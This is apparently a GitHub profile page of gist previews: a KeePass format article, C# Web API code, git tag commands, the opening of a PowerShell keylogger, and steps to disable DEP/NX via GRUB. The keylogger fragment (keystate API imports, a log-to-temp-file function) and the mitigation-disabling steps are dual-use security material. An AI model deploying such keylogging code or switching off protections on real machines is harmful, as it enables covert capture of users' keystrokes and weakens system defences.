Skip to content

Instantly share code, notes, and snippets.

View Fasjeit's full-sized avatar
🛰️

Fasjeit

🛰️
  • c̛̛ͭͪ͒͂̔̍̾︠͗̽᷁́ͭ̌︢̽᷀︢̍ͫ︠︣᷃̿̓̆̈́︣͒ͣͪ̿̽̋̀͐᷀̍ͩ̍᷄︠̔ͬ͊̈́᷃ͯ̍ͤͥͭͨ᷀̍͂̑͑́᷅̾̾̀͛ͪ̀̓ͫ̽͒̔ͩͫ̍̔︢ͯ᷀︠᷃̈́ͫ̉︡́ͩ̈ͣ͒͗́ͬ͂᷾᷇ͦͪͪ︢ͭ̈́̆᷀︠̕̕̚̚͘̕̕͝͡͞͡͠͝͡ŗ̷͓᷿̣͖̣̫͇͖̯̰᷀᷇᷉̽̉ͨ᷾͜y̨̡̱̪᷿̖̲͎̟̗̱᷊̫͖̤̬̰̩̪͇̺̰̙̲̫̮̳̳͉͜p̸̡̬͖᷿̖̝̲̘̪̠̜͚͉͇̩̗͖̓᷀̓ͩ͆ͨ͐͋͟ṫ̷̡̧̧̢̨͈̤͕̖̭᷿͓̠͎᷿̭̑ͭ᷄̓ͥ᷾᷉͌̕ơ̷᷊͖͑̾᷇᷃︣̐︡͗ͤ̈︣͘̕͞
View GitHub Profile
@lgg
lgg / keepass-file-format-explained.md
Last active March 13, 2026 14:04
Keepass file format explained

Keepass file format explained

I’m currently working (I’m just at the beginning, and I’m quite slow) on a personal project that will use Keepass files (kdb and kdbx).
I tried to find some documentation about .kdb and .kdbx format, but I didn’t find anything, even in the Keepass official website. I you want to know how these file formats are structured, you must read Keepass’s source code. So I wrote this article that explains how Keepass file format are structured, maybe it will help someone.

@0xced
0xced / FromHeader.cs
Last active November 1, 2023 06:20
[FromHeader] parameter binding and attribute for ASP.NET Web API + Swashbuckle integration
using System;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Threading;
using System.Threading.Tasks;
using System.Web.Http;
using System.Web.Http.Controllers;
using System.Web.Http.Metadata;
@dasgoll
dasgoll / gist:7ca1c059dd3b3fbc7277
Created December 11, 2015 16:44
Simple Windows Keylogger using PowerShell
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
@joswr1ght
joswr1ght / disabledep.txt
Created October 25, 2015 11:35
Disable DEP/NX on Linux in Grub
Boot and interrupt the GRUB menu
Edit the boot configuration, changing the "linux" line by adding these two parameters to the end of the line:
noexec=off noexec32=off
Then boot by pressing Ctrl+x.
After booting, you can check to see if DEP/NX is turned off by running:
dmesg | grep NX
When DEP/NX is turned off you should see something similar to this output:
@mobilemind
mobilemind / git-tag-delete-local-and-remote.sh
Last active December 18, 2025 20:10
how to delete a git tag locally and remote
# delete local tag '12345'
git tag -d 12345
# delete remote tag '12345' (eg, GitHub version too)
git push origin :refs/tags/12345
# alternative approach
git push --delete origin tagName
git tag -d tagName